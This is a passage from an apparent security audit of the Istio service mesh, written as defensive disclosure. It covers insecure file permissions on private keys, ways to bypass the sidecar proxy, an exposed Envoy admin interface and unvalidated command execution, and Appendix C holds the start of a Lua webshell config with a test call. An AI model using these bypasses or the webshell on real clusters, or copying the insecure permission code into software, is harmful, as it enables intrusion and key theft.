      linux-tools-generic \
      sudo \
...
```

Tools like `tcpdump`, `sudo`, and `curl` are designed for debugging purposes and when used in production, provide an attacker with an easier avenue to escalate access. Specifically `sudo` should not be used as it makes it easier to evade some policies that have a weak privilege escalation policy set in the cluster.

The Istio Hardening Documentation provides directions for configuring Istio with a "distroless" version of it's Docker image which builds a minimal, hardened version that can be used for Sidecars. These types of security controls should not be optional.

Reproduction Steps

Attach to a Pod that has the Istio sidecar proxy injected into it and run `cat /etc/os-release` to see the following:

```
istio-proxy@example-pod:/$ cat /etc/os-release
NAME="Ubuntu"
VERSION="18.04.4 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.4 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
```

```
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-
 ➜  policy"
 ➜
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
istio-proxy@example-pod:/$
```

Recommendation When possible, provide the most secure default configurations which in this case means enabling the Distroless image which can be used by other Istio control plane components (like Pilot) as well as the sidecars used by Pods and workloads. Make this configuration the default option for all systems possible and at minimum, the images that used for Istio control plane deployments.

Finding	**The Sidecar Does Not Use Apparmor/Seccomp By Default**
Risk	Low Impact: Medium, Exploitability: Low
Identifier	NCC-GOIST2005-005
Category	Configuration
Component	Istioctl
Location	• Istio Proxy • Istio Istio
Impact	Without the default seccomp profiles enabled, the Docker runtime lacks many important security controls that, if an Istio service is compromised, may allow an attacker to compromise a Node or Cluster.
Description	The default configuration provided by `istioctl` does not enable seccomp or Apparmor by default which increases the chances of a container breakout affecting the host or the cluster. These security controls are also currently disabled in Kubernetes by default but as Istio has full control over its own Pods and Deployments, they can easily enable these features but currently do not. There are examples of using `istioctl` to set a variable which enables seccomp and apparmor but there were no official documentation on how this is implemented.
Reproduction Steps	• `istioctl install` • `kubectl -n istio-system get po istiod-{ISTIOD-INSTANCID} -o yaml` • Review that the Apparmor and Seccomp profile annotations are not there
Recommendation	Make Apparmor and seccomp Docker profiles enabled by default when possible. Leverage `istioctl` to make the decision about whether the environment supports these features or not. Further document the option to use `istioctl` to enable these profiles and provide guidance on how to disable them when users want to opt-out of these controls. This should be enabled for Sidecars and services within the Istio control plan as well.

Finding	**Insecure File Permissions Set**
Risk	**Low** Impact: Low, Exploitability: Low
Identifier	NCC-GOIST2005-007
Category	Access Controls
Component	Istio
Location	• istio/istio/security/pkg/nodeagent/sds/server.go#276 • istio/istio/security/pkg/nodeagent/util/util.go#71,#76,#81 • istio/istio/operator/pkg/helm/urlfetcher.go#113 • istio/istio/istioctl/cmd/sidecar-bootstrap.go
Impact	Malicious or unauthorized users may be able to gain access to sensitive data such as private keys.

Description

One of the primary pillars of a good security model is to limit access to resources on the least-privilege principle, which means restricting access to resources strictly on a need-to-know basis.

In several cases throughout the Istio project source code, NCC found that the code wrote files to disk in such a way that allowed anyone who had access to the system to access these files. These files included private keys that could be used by a malicious user to access additional sensitive data.

In some cases, these files had permissions set that included the ability to write to and executing these files. These permissions would allow malicious actors to modify sensitive data and possibly add back doors to them, leading to privilege escalation.

Reproduction Steps

The following list illustrates examples in the codebase where files are being written insecurely:

- istio/istio/security/pkg/nodeagent/sds/server.go (line 276)

```
// Update SDS UDS file permission so that istio-
➜  proxy has permission to access it.
        if _, err := os.Stat(udsPath); err != nil {
                sdsServiceLog.Errorf("SDS uds file %q doesn't exist", udsPath)
                return nil, fmt.Errorf("sds uds file %q doesn't exist", udsPath)
        }
        if err := os.Chmod(udsPath, 0666); err != nil {
                sdsServiceLog.Errorf("Failed to update %q permission", udsPath)
                return nil, fmt.Errorf("failed to update %q permission", udsPath)
        }
```

The permission `0666` grants the *world* group to have *READ/WRITE* access to the file. A separate group should be used if files should be accessible to the `istio-proxy` user should be able to access the data.

- istio/istio/security/pkg/nodeagent/util/util.go (line 71, 76, and 81)

```
func OutputKeyCertToDir(dir string, privateKey, certChain, rootCert []byte) error
➜  {
        if len(dir) == 0 {
                return nil
        }
```

```
	// Depending on the SDS resource to output, some fields may be nil
	if privateKey == nil && certChain == nil && rootCert == nil {
		return fmt.Errorf(
		 ➜ "the input private key, cert chain, and root cert are nil")
	}

	if privateKey != nil {
		if err := ioutil.WriteFile(path.Join(dir, "key.pem"), privateKey,
		 ➜ 0777); err != nil {
			return fmt.Errorf(
			 ➜ "failed to write private key to file: %v", err)
		}
	}
	if certChain != nil {
		if err := ioutil.WriteFile(path.Join(dir, "cert-chain.pem"),
		 ➜ certChain, 0777); err != nil {
			return fmt.Errorf(
			 ➜ "failed to write cert chain to file: %v", err)
		}
	}
	if rootCert != nil {
		if err := ioutil.WriteFile(path.Join(dir, "root-cert.pem"),
		 ➜ rootCert, 0777); err != nil {
			return fmt.Errorf(
			 ➜ "failed to write root cert to file: %v", err)
		}
	}
```

The permission `0777` grants the *world* group to have *READ/WRITE/EXECUTE* access to the file. A separate group should be used if files should be accessible to the other users.

- istio/istio/operator/pkg/helm/urlfetcher.go (line 113)

```
func DownloadTo(srcURL, dest string) (string, error) {
	u, err := url.Parse(srcURL)
	if err != nil {
		return "", fmt.Errorf("invalid chart URL: %s", srcURL)
	}
	data, err := httprequest.Get(u.String())
	if err != nil {
		return "", err
	}

	name := filepath.Base(u.Path)
	destFile := filepath.Join(dest, name)
	if err := ioutil.WriteFile(destFile, data, 0666); err != nil {
		return destFile, err
	}

	return destFile, nil
}
```

The permission `0666` grants the *world* group to have *READ/WRITE* access to the downloaded file. A separate group should be used if files should be accessible to the other users.

- /home/dking/istio/istio/istioctl/cmd/sidecar-bootstrap.go (line 352)

```
func dumpCertificates(directory string, addressCertMapping
➜  map[string]workloadEntryAddressKeys) error {
        err := os.MkdirAll(directory, os.ModePerm)
        if err != nil && !os.IsExist(err) {
                return err
        }
        for address, certs := range addressCertMapping {
                err = ioutil.WriteFile(path.Join(directory,
                ➜  "cert-"+address+".pem"), certs.Cert, 0644)
                if err != nil {
                        return err
                }
                err = ioutil.WriteFile(path.Join(directory,
                ➜  "key-"+address+".pem"), certs.Key, 0644)
                if err != nil {
                        return err
                }
                err = ioutil.WriteFile(path.Join(directory,
                ➜  "ca-cert-"+address+".pem"), certs.CaCert, 0644)
                if err != nil {
                        return err
                }
        }
```

The permission `0644` grants the *world* group to have *READ* access to the private key. A separate group should be used if files should be accessible to the other users.

Recommendation When writing files to disk, the developers should take care to limit access to these files to only users and groups that require access. Developers should apply this practice to all data being written by the code throughout the project.

Finding	**Istio Client-Side Bypasses**
Risk	**Low** Impact: Low, Exploitability: Low
Identifier	NCC-GOIST2005-014
Category	Access Controls
Component	Istio
Location	Any Istio workload with a Sidecar
Impact	If an Istio user relies on the Envoy sidecar for network restrictions such as egress controls, an attacker can bypass this sidecar and easily evade these controls.

Description

Istio provides a variety of security controls and some are based on the Envoy sidecar that is attached to workloads but there are a multitude of ways for a workload to bypass this proxy. This is in some ways by design but the overall security expectations around what Istio can provide may be unclear to users especially when relying on features like `REGISTRIES_ONLY`[7] or Egress policies.

A service mesh is different than a CNI in that one facilitates communications, and the other controls them. Istio's service mesh is designed to facilitate secure, authenticated, service-to-service communications and doesn't have the controls to force network communications within the Pods it manages. The design is that if a service mesh proxy is evaded, the result should be simply that the service can no longer communicate within the mesh but there is nothing that Istio purports to do to restrict network communications as a whole. (There are service-to-service policies that are supported but this still falls within the security boundaries of the original design.)

For example, a workload can bypass the Istio sidecar the following ways:

- **Non-TCP egress bypass**: Istio does not handle UDP packets at all and if an administrator expected the egress controls to restrict outbound network communications, the worker could simply use UDP to communicate outside of the cluster.
- **1337 UID bypass**: Istio's sidecar creates `iptables` rules that are applied based on UID. If the primary container in a Pod runs as UID 1337, they are able to bypass the `iptables` rules that force it to use the Envoy proxy sidecar.
- **Capability bypasses**:
  - When a container has the CAP_SETUID, a default capability, any processes with the capability can change their UID to 1337, enabling the bypass described above.
  - When a container has CAP_NET_ADMIN granted, it can rewrite its own `iptables` rules and bypass the Envoy proxy.
  - When a container has CAP_NET_RAW granted, it can listen for packets received by the Envoy proxy or inject raw packets that bypass Istio's `iptables` `-m owner` filtering.
- **Inbound port bypass**: By default, Istio's sidecar `iptables` inbound redirection rules short-circuit if the destination port is 15090, 15021, 1502, or 22. As Envoy does not listen on port 22, this enables the workload container to do so and receive connections to the port. Additionally, even if this port were not granted a short-circuit, Istio's sidecar Envoy proxy process exposes its administration interface on port 15000. This API exposes a `POST /quitquitquit` route that will cause Envoy to exit, enabling the workload container to claim its ports.

[7] https://istio.io/latest/docs/tasks/traffic-management/egress/egress-control/#envoy-passthrough-to-external-services

Note: As with general direct Pod connections involving Istio, it may be necessary for the client to bind to 127.0.0.6 as the source address; if this is not possible for some reason, enough of a TCP handshake may be formed for the client to determine if a service is listening and for the service to obtain the source port of the client in the value returned from `accept(2)`, both of which can be used to coordinate data transfer.

Because of the variety of ways to bypass Envoy, any network restrictions that Istio purports cannot be relied upon as a security control. The `REGISTRIES_ONLY` feature, designed to block outbound requests that are not to a service within the mesh, would be easily bypassed. Egress gateways designed to restrict outbound communications do not work in themselves:

> "Istio cannot securely enforce that all egress traffic actually flows through the egress gateways. Istio only enables such flow through its sidecar proxies. If attackers bypass the sidecar proxy, they could directly access external services without traversing the egress gateway. Thus, the attackers escape Istio's control and monitoring. The cluster administrator or the cloud provider must ensure that no traffic leaves the mesh bypassing the egress gateway."[8]

This means that Istio alone cannot provide some core security controls and the documentation suggests that additional mitigations, such as a network policy with a CNI, handle enforcement.

Recommendation Expand Istio's documentation to provide a more thorough example of what a secure ecosytem looks like. The current documentation is clear that Istio cannot be used to make reliable network security restrictions but it stops after saying that something else should do it. Continue to expand this documentation and with example code for various types of clusters. Use examples that leverage a CNI and Network Policy to perform the necessary restrictions. Consider provide example Network Policy yaml that could enforce various scenarios such as restricting egress traffic to only Istio's Egress gateway.

[8]https://istio.io/latest/docs/tasks/traffic-management/egress/egress-gateway/

Finding	**Sidecar Envoy Administrative Interface Exposed To Workload Containers**
Risk	**Low** Impact: Low, Exploitability: Medium
Identifier	NCC-GOIST2005-018
Category	Access Controls
Component	Istio Sidecar

Location

- `istio/tools/packaging/common/envoy_bootstrap.json`
- `istio/install/gcp/bootstrap/gcp_envoy_bootstrap.json`
- `istio/pkg/config/mesh/mesh.go`

Impact Workload containers can access potentially sensitive configuration data and manipulate the sidecar Envoy proxy process through its administrative interface.

Description Istio's proxy sidecar container uses an Envoy configuration that causes Envoy to expose its administrative interface[9] on a localhost port (15000 by default). As the sidecar container shares the same loopback interface as the workload containers in the same Pod, this exposes the Envoy administrative interface to the workloads. While this interface does not provide many direct means for performing dangerous actions — for example, the `POST /tap` endpoint for intercepting traffic requires a non-default extension to be loaded — it still provides an unnecessary attack surface that can be abused to extract the entire dynamic configuration of the proxy sans certificate private keys which could be abused in the event of a workload compromise or the exploitation of a server-side request forgery vulnerability. In the case of the latter, this could enable a denial of service vector by sending a request to the `POST /quitquitquit` endpoint[10] that causes the process to exit.

```
"admin": {
  "access_log_path": "/dev/null",
  "profile_path": "/var/lib/istio/data/envoy.prof",
  "address": {
    "socket_address": {
      "address": "{{ .localhost }}",
      "port_value": {{ .config.ProxyAdminPort }}
    }
  }
},
```

Listing 2: envoy_bootstrap.json

Reproduction Steps

1. From within a workload container deployed with the Istio sidecar proxy, run the following command:
   ```
   curl -s http://127.0.0.1:15000/config_dump?include_cds
   ```
2. Observe that the configuration for the sidecar proxy is returned.

Recommendation Disable the Envoy administrative interface by default. If the interface must be exposed to the control plane, consider reconfiguring the `"admin"` block to listen on a Unix domain socket `"pipe"`[11] address instead of a `"socket_address"` and introducing a listener that would authenticate requests and forward them to the Unix socket-based administrative interface.

[9] https://www.envoyproxy.io/docs/envoy/latest/operations/admin
[10] https://www.envoyproxy.io/docs/envoy/latest/operations/admin#post--quitquitquit
[11] https://www.envoyproxy.io/docs/envoy/latest/api-v2/api/v2/core/address.proto#core-pipe

Finding	**DestinationRules Without CA Certificates Field Do Not Validate Certificates**
Risk	**Low** Impact: Medium, Exploitability: Low
Identifier	NCC-GOIST2005-019
Category	Configuration
Component	Pilot
Location	The `applyTrafficPolicy`, `applyUpstreamTLSSettings`, and `buildUpstreamClusterTLSContext` functions within `istio/pilot/pkg/networking/core/v1alpha3/cluster.go`
Impact	An attacker that is able to intercept raw network connections between Envoy proxies and upstream DestinationRule targets can perform a man-in-the-middle attack against clients whose TLS-configured DestinationRules do not specify a CA certificate chain.

Description

As discussed in the `istio/istio` GitHub repository's issue #25652,[12] as part of its process to generate Envoy configurations from DestinationRule policies, Istio translates the DestinationRule `trafficPolicy.tls` (`ClientTLSSettings`) field into Envoy's `UpstreamTlsContext`,[13] and — for modes other than `ISTIO_MUTUAL` in which Istio generates the PKI to use — defaults to converting such fields that lack a `caCertificates` value into a partially filled `UpstreamTlsContext` lacking a `validation_context`.[14, 15] As a result, Envoy proxies using such a configuration will not attempt to verify the validity of the upstream server's TLS certificate.

Note: This issue and GitHub issue were originally noted by the Google team.

```
res := model.SdsCertificateConfig{
  CertificatePath:   model.GetOrDefault(proxy.Metadata.TLSClientCertChain,
   ➜ tls.ClientCertificate),
  PrivateKeyPath:    model.GetOrDefault(proxy.Metadata.TLSClientKey,
   ➜ tls.PrivateKey),
  CaCertificatePath: model.GetOrDefault(proxy.Metadata.TLSClientRootCert,
   ➜ tls.CaCertificates),
}
tlsContext.CommonTlsContext.TlsCertificateSdsSecretConfigs =
 ➜ append(tlsContext.CommonTlsContext.TlsCertificateSdsSecretConfigs,
  authn_model.ConstructSdsSecretConfig(res.GetResourceName(),
   ➜ opts.push.Mesh.SdsUdsPath, node.RequestedTypes.CDS))

// If tls.CaCertificate or CaCertificate in Metadata isn't configured don't set u
 ➜ p RootSdsSecretConfig
if res.GetRootResourceName() == "" {
  tlsContext.CommonTlsContext.ValidationContextType =
   ➜ &auth.CommonTlsContext_ValidationContext{}
  tlsContext.Sni = tls.Sni
} else {
  ... // configure the validation_context
```

Listing 3: istio/pilot/pkg/networking/core/v1alpha3/cluster.go

[12] https://github.com/istio/istio/issues/25652
[13] https://www.envoyproxy.io/docs/envoy/latest/api-v2/api/v2/auth/tls.proto.html?highlight=upstreamtlscontext#auth-upstreamtlscontext
[14] https://www.envoyproxy.io/docs/envoy/latest/api-v2/api/v2/auth/tls.proto.html?highlight=upstreamtlscontext#envoy-api-msg-auth-commontlscontext
[15] https://www.envoyproxy.io/docs/envoy/latest/api-v2/api/v2/auth/common.proto#auth-certificatevalidationcontext

Recommendation Update the DestinationRule documentation[16] to provide a clear warning early on that the lack of a configured `caCertificates` field for `trafficPolicy.tls` will result in the proxy not verifying the server's certificate.

For future versions of Istio, when a DestinationRule or similar client-side configuration declaring a remote TLS resource is processed, any configuration that does not explicitly disable TLS certificate validation but which also lacks a configured CA certificate chain should be treated as an error. As part of such an implementation, consider providing an option to use a built-in common denominator CA chain consisting of the major trusted CAs, such as Mozilla's CA chain.[17]

[16] https://istio.io/latest/docs/reference/config/networking/destination-rule/
[17] https://www.mozilla.org/en-US/about/governance/policies/security-group/certs/

Finding	**Default Injected Init Container Requires Sensitive Capabilities**
Risk	**Low** Impact: Medium, Exploitability: Low
Identifier	NCC-GOIST2005-021
Category	Access Controls
Component	Istio Sidecar
Location	The `istio-init` init container defined within `istio/manifests/charts/istio-control/istio-discovery/files/injection-template.yaml` that is injected into Pods when CNI is not enabled for Istio
Impact	In the event of a compromise of a user or service account able to deploy Pods on a cluster using Istio, the attacker would be able to run containers with sensitive networking capabilities and may be able to abuse such access to compromise the environment.
Description	By default, Istio relies on the addition of an init container to Pods that will load a series of `iptables` rules to force redirection of outgoing and incoming traffic into the appropriate interfaces of the sidecar proxy. However, this operation requires the `CAP_NET_ADMIN` and `CAP_NET_RAW` capabilities,[18] which are enabled in the injected init container spec. However, this requires that the account deploying the Pod generally be able to use these sensitive capabilities, and prevents administrators from restricting access to them. Due to this, in the event that an attacker is able to gain access to deploy Istio-enabled Pods, they would be able to freely use these capabilities. This presents a significant risk as such capabilities can be abused to reconfigure interfaces and firewall rules, and inject crafted packets into the network, which can enable an attacker to compromise other services within a cluster and escalate privileges. Additionally, it is worth noting that the administrative kernel APIs accessible to processes with these capabilities, such as netfilter APIs accessible with `CAP_NET_ADMIN`, have had a long history of vulnerabilities in the context of containerization.
Recommendation	For non-CNI Istio configurations, consider introducing additional per-node agent functionality to manage `iptables` rules for sidecar-enabled Pods. While such privileged agent daemons may not be as immediately transparent as init containers — for which container specs may be queried directly through Kubernetes APIs — in general, they would be no-less opaque than the implementations used by CNI providers.

[18] https://istio.io/latest/docs/ops/deployment/requirements/

Finding	**Execution of System Commands without Validation**
Risk	**Informational** Impact: Low, Exploitability: Low
Identifier	NCC-GOIST2005-008
Category	Data Validation
Component	Istio
Location	• istio/istio/pilot/tools/debug/pilot_cli.go (line 248) • istio/istio/pkg/envoy/instance.go (line 172) • istio/istio/mixer/pkg/perf/run.go (line 106) • istio/istio/tools/istio-iptables/pkg/dependencies/implementation.go (line 30) • istio/istio/cni/cmd/istio-cni/iptables.go (line 59) • istio/istio/istioctl/cmd/dashboard.go (line 370)
Impact	Malicious actors may be able to execute operating system commands that could compromise the cluster.

Description

In several locations within the Istio project source code, NCC identified the use of the `exec.Command` functions with a variable parameter that has not been validated to be safe. Unsafe data might include metacharacters such as pipes, semi-colons, or backticks that might allow malicious actors to inject additional commands.

Controlling the inputs to these functions is difficult or impossible due to security controls in place from the Kubernetes security model; however, relying soling on these controls is not recommended. Kubernetes is still a moving target, and cluster administrators can alter much of the security model.

Note: The exploitation of these issues is incredibly unlikely due to current controls, but if those controls were to be bypass or removed, the risk of this issue becomes more severe.

Reproduction Steps

The following list illustrates functions in the code that are not validating data being used to run operating system commands:

- istio/istio/pilot/tools/debug/pilot_cli.go (line 248)

```
r := rand.New(rand.NewSource(time.Now().UnixNano()))
        localPort := r.Intn(LocalPortEnd-LocalPortStart) + LocalPortStart
        cmd := fmt.Sprintf("kubectl port-forward %s -n istio-system %d:15010",
         ➜  podName, localPort)
        parts := strings.Split(cmd, " ")
        c := exec.Command(parts[0], parts[1:]...)
        err = c.Start()
        if err != nil {
                return nil, "", err
        }
```

- istio/istio/pkg/envoy/instance.go (line 172)

```
// Create a new command with the specified options.
        args := cfg.Options.ToArgs()
        cmd := exec.Command(cfg.BinaryPath, args...)
        cmd.Stdout = os.Stdout
        cmd.Stderr = os.Stderr
        if cfg.WorkingDir != "" {
                cmd.Dir = cfg.WorkingDir
        }
```

- istio/istio/mixer/pkg/perf/run.go (line 106)

```
if coprocess {
                var exeName string
                if exeName, err = locatePerfClientProcess(
                 ➜  settings.ExecutablePathSuffix); err != nil {
                        b.fatalf("Unable to locate perf mixer")
                        return
                }

                b.logf("External process exec name: %s", exeName)
                cmd := exec.Command(exeName, controller.location().Address,
                 ➜  controller.location().Path)
                cmd.Stdout = os.Stdout
                cmd.Stderr = os.Stderr
```

- istio/istio/tools/istio-iptables/pkg/dependencies/implementation.go (line 30)

```
func (r *RealDependencies) execute(cmd string, redirectStdout bool, args
 ➜  ...string) error {
        fmt.Printf("%s %s\n", cmd, strings.Join(args, " "))
        externalCommand := exec.Command(cmd, args...)
        externalCommand.Stdout = os.Stdout
        //TODO Check naming and redirection logic
        if !redirectStdout {
                externalCommand.Stderr = os.Stderr
        }
        return externalCommand.Run()
}
```

- istio/istio/cni/cmd/istio-cni/iptables.go (line 59)

```
func (ipt *iptables) Program(netns string, rdrct *Redirect) error {
    netnsArg := fmt.Sprintf("--net=%s", netns)
    nsSetupExecutable := fmt.Sprintf("%s/%s", nsSetupBinDir, nsSetupProg)
    nsenterArgs := []string{
        netnsArg,
        nsSetupExecutable,
        "-p", rdrct.targetPort,
        "-u", rdrct.noRedirectUID,
        "-m", rdrct.redirectMode,
        "-i", rdrct.includeIPCidrs,
        "-b", rdrct.includePorts,
        "-d", rdrct.excludeInboundPorts,
        "-o", rdrct.excludeOutboundPorts,
        "-x", rdrct.excludeIPCidrs,
        "-k", rdrct.kubevirtInterfaces,
    }
    log.Info("nsenter args",
        zap.Reflect("nsenterArgs", nsenterArgs))
    out, err := exec.Command("nsenter", nsenterArgs...).CombinedOutput()
    if err != nil {
        log.Error("nsenter failed",
            zap.String("out", string(out)),
            zap.Error(err))
        log.Infof("nsenter out: %s", out)
    } else {
        log.Infof("nsenter done: %s", out)
    }
    return err
```

- istio/istio/istioctl/cmd/dashboard.go (line 370)

```
func openBrowser(url string, writer io.Writer) {
        var err error

        fmt.Fprintf(writer, "%s\n", url)

        switch runtime.GOOS {
        case "linux":
                err = exec.Command("xdg-open", url).Start()
        case "windows":
                err = exec.Command("rundll32", "url.dll,FileProtocolHandler",
                 ➜  url).Start()
        case "darwin":
                err = exec.Command("open", url).Start()
        default:
                fmt.Fprintf(writer,
                 ➜  "Unsupported platform %q; open %s in your browser.\n",
                 ➜  runtime.GOOS, url)
        }

        if err != nil {
                fmt.Fprintf(writer,
                 ➜  "Failed to open browser; open %s in your browser.\n", url)
        }

}
```

Recommendation

Data should be validated that it only contains expected data. Using regular expressions is one method of doing accomplishing this. If data is found by the code that does not match expectations, raise an error.

Finding	**Weak Trust Boundary Between Workload Container and Proxy Sidecar**
Risk	**Informational** Impact: Low, Exploitability: Medium
Identifier	NCC-GOIST2005-022
Category	Access Controls
Component	Istio
Location	The design of the Istio Sidecar Model
Impact	In general, it is possible for compromised workload containers and accounts that can create Deployments to emulate or appropriate the Istio proxy sidecar to obtain Istio client certificates, or bypass networking restrictions.

Description

Istio places an implicit trust boundary on the separation of workload containers and the Envoy proxy sidecar container running in the same Pod. However, this separation is not strictly enforced and there are a number of ways that it can be bypassed, which can expose sensitive secrets and attack surface on the Istio control plane.

- Annotations: Istio supports a number of annotations that enable developers to configure the Istio Envoy proxy sidecar. These include control over the container image used, the configuration file to use, the configuration template to use, and the ability to arbitrarily control volume mounts for the sidecar container. These directly enable anyone who can deploy an Istio-enabled workload to hijack control of the proxy sidecar or extract secrets from it. For an example of a configuration that replaces the Envoy configuration with one that container a Lua webshell, see Appendix C on page 41.
- Envoy Configuration Template Rendering: The current implementation used by `pilot-agent` to generate the initial Envoy proxy configuration uses the Golang `text/template` package to render a text template into a JSON file. This implementation does not perform output encoding specific to JSON, enabling injection of raw JSON content through string fields parsed from annotations and other workload spec properties. In general, only a light validation is implicitly performed for `<host>:<port>` values; however, this still allows sensitive JSON values such as double quotes, braces, and commas to be emitted into the final file, which could potentially be abused to inject overriding configuration content.
- Envoy Administrative Interface: As described in finding NCC-GOIST2005-018 on page 29, the Envoy proxy Administrative Interface is accessible to workload containers. While this API does not directly expose raw secrets, it can enable a workload container to spoof the Envoy proxy by terminating it and listening on its ports.
- Sidecar Emulation: Istio appears to lack a strong binding mechanism to ensure that only the sidecar can successfully obtain client certificates and routing metadata from the Istio control plane. Due to this, it is possible for workload containers to connect to the control plane and obtain such data. Performing such an action may require bypassing the Pod's own Envoy proxy instance, but, as described in finding NCC-GOIST2005-014 on page 27, there are a number of ways to do this, including by disabling sidecar auto-injection.

Recommendation

To prevent sidecar emulation by a compromised workload container, consider injecting a binding secret into the sidecar proxy container that must be used to authenticate to the Istio control plane.

To ensure that *only* the Istio sidecar can communicate to the Istio control plane, it is necessary that the binding secret cannot be directly accessed by workload containers, and, ideally, also cannot be directly accessed by non-Istio components such as users and general service accounts. The APIs and execution model of Kubernetes do not directly lend themselves to injecting attestable containers into Pods that make use of secrets intended not to be accessible to accounts and users who are authorized to deploy such Pods. Without otherwise attempting to use a non-Kubernetes-based means of container injection (node-based controls), one such isolation scheme could be implemented with ValidatingAdmissionWebhooks that introduce custom access control checks to prevent users from directly accessing sidecar proxy binding secrets, and validators that ensure that only legitimately created (or defined) sidecar proxy container specs can make use of the secrets associated with them. Once such a scheme is in place, it may we worthwhile to revisit whether, or in what situations, dangerous Istio annotations should be allowed. If such attestation is desired, `pilot-agent` template generation should be revisited to ensure that all templating performs output encoding in a context-appropriate manner.

Sidecar isolation is an important boundary for Istio and Kubernetes and if Istio believes it cannot be solved alone, additional documentation should be added for how to harden the boundary between these sidecars at a cluster level. Tools like Hashicorp vault provide additional secret management controls and a Dynamic Admission Controller-based approaches such as OPA[19] provide a means to help re-enforce this boundary. Istio would be tasked with providing guidance on how best to integrate these hardening measures and ideally provide a reference such as an OPA gateway policy.

[19]https://kubernetes.io/blog/2019/08/06/opa-gatekeeper-policy-and-governance-for-kubernetes/

Appendix A: Finding Field Definitions

The following sections describe the risk rating and category assigned to issues NCC Group identified.

Risk Scale

NCC Group uses a composite risk score that takes into account the severity of the risk, application's exposure and user population, technical difficulty of exploitation, and other factors. The risk rating is NCC Group's recommended prioritization for addressing findings. Every organization has a different risk sensitivity, so to some extent these recommendations are more relative than absolute guidelines.

Overall Risk

Overall risk reflects NCC Group's estimation of the risk that a finding poses to the target system or systems. It takes into account the impact of the finding, the difficulty of exploitation, and any other relevant factors.

Critical	Implies an immediate, easily accessible threat of total compromise.
High	Implies an immediate threat of system compromise, or an easily accessible threat of large-scale breach.
Medium	A difficult to exploit threat of large-scale breach, or easy compromise of a small portion of the application.
Low	Implies a relatively minor threat to the application.
Informational	No immediate threat to the application. May provide suggestions for application improvement, functional issues with the application, or conditions that could later lead to an exploitable finding.

Impact

Impact reflects the effects that successful exploitation has upon the target system or systems. It takes into account potential losses of confidentiality, integrity and availability, as well as potential reputational losses.

High	Attackers can read or modify all data in a system, execute arbitrary code on the system, or escalate their privileges to superuser level.
Medium	Attackers can read or modify some unauthorized data on a system, deny access to that system, or gain significant internal technical information.
Low	Attackers can gain small amounts of unauthorized information or slightly degrade system performance. May have a negative public perception of security.

Exploitability

Exploitability reflects the ease with which attackers may exploit a finding. It takes into account the level of access required, availability of exploitation information, requirements relating to social engineering, race conditions, brute forcing, etc, and other impediments to exploitation.

High	Attackers can unilaterally exploit the finding without special permissions or significant roadblocks.
Medium	Attackers would need to leverage a third party, gain non-public information, exploit a race condition, already have privileged access, or otherwise overcome moderate hurdles in order to exploit the finding.
Low	Exploitation requires implausible social engineering, a difficult race condition, guessing difficult-to-guess data, or is otherwise unlikely.

Category

NCC Group categorizes findings based on the security area to which those findings belong. This can help organizations identify gaps in secure development, deployment, patching, etc.

Access Controls	Related to authorization of users, and assessment of rights.
Auditing and Logging	Related to auditing of actions, or logging of problems.
Authentication	Related to the identification of users.
Configuration	Related to security configurations of servers, devices, or software.
Cryptography	Related to mathematical protections for data.
Data Exposure	Related to unintended exposure of sensitive information.
Data Validation	Related to improper reliance on the structure or values of data.
Denial of Service	Related to causing system failure.
Error Reporting	Related to the reporting of error conditions in a secure fashion.
Patching	Related to keeping software up to date.
Session Management	Related to the identification of authenticated users.
Timing	Related to race conditions, locking, or order of operations.

The following section outlines various configuration options that are particularly impactful with regard to security. Each of these configuration options either have an insecure default, lack documentation about their purpose, or do not provide the actual control they purport to provide. Consider reviewing these areas in particular to enhance documentation and to eventually build a hardened version of the Istioctl Default profile. See finding NCC-GOIST2005-003 on page 14.

Proxy Config Options

Config Option	Results
proxyAdminPort	If setting this value to `0` is effective at restricting access from a Pod's container to its sidecar, consider making this a hardened configuration item. If it's necessary, provide guidance on how best to restrict this service.
controlPlaneAuthPolicy	It's unclear what the purpose of this setting is anymore and if it is no longer necessary, remove it or replace it with the relevant control. Modify the default policies to enable an auth policy by default and provide specific guidance for best practices. Mutual_TLS may be a sane default
tracing	Provide guidance on whether tracing should be enabled, the sensitive data that it collects in this mode (i.e. full URL strings), and whether it should be turned on in production. In a hardened profile this should be disabled.
sds	SDS mode is for secret discovery within Envoy. The documentation was not clear if this is still supported or how it should be enabled but it has implications for how network communications are performed.
serviceCluster	This has implications on potentially compromising a security boundary of the environment and it should be noted as such. If the annotations used by this configuration match, it's possible services could be exposed to each other. Provide more documentation and guidance around how to securely control this feature.

Mesh Config Options

enableClientSidePolicyCheck	It's unclear what this does. There was no code that referenced this option.
enableAutoMtls	Note that disabling this feature has a very impactful effect on the security Istio can provide.
defaultVirtualServiceExportTo	Ensure that this is never set to * in production. This should be a specific value that matches the environment's constraints.
defaultDestinationRuleExportTo	Ensure that this is never set to * in production. This should be a specific value that matches the environment's constraints.
defaultServiceExportTo	Ensure that this is never set to * in production. This should be a specific value that matches the environment's constraints.
certificates	The documentation for this feature is lacking but in testing appeared to control high level certifiate and CA controls. Provide additional documentation on this feature and the implications of changing options.

Appendix C: Appendix: Lua Webshell Annotations

As described in finding NCC-GOIST2005-022 on page 36, Istio's annotations enable the ability to hijack control of the Istio sidecar. The below configuration was used to override the sidecar's Envoy proxy configuration with one that contains a Lua request handler for executing arbitrary shell commands in the context of the Envoy proxy process. When loaded, instead of routing requests to the workload container, the Envoy proxy will instead parse requests for a `cmd` query parameter and execute it if present, returning the output.

```
$ curl 'http://127.0.0.1:5443/?cmd=id'
uid=1337(istio-proxy) gid=1337(istio-proxy) groups=1337(istio-proxy)
```

```
kind: ConfigMap
apiVersion: v1
metadata:
  name: custom-envoy-config
data:
  envoy.yaml: |
    admin:
      access_log_path: /dev/null
      address:
        pipe:
          path: "@testenvoy"
    node:
      cluster: my-cluster
      id: mystack

    static_resources:
      listeners:
      - name: splitlistener
        address:
          socket_address: { address: 127.0.0.1, port_value: 5443 }
        filter_chains:
        - #
          filters:
          - #
            name: envoy.http_connection_manager
            config:
              #access_log:
                #name: "envoy.file_access_log"
                #config:
                  #path: "/tmp/request.log"
              stat_prefix: ingress_http
              server_header_transformation: APPEND_IF_ABSENT
              route_config:
                virtual_hosts:
                - name: luatest
                  domains: ["*"]
                  routes:
                  - match: {
                      prefix: "/"
                    }
                    route: {
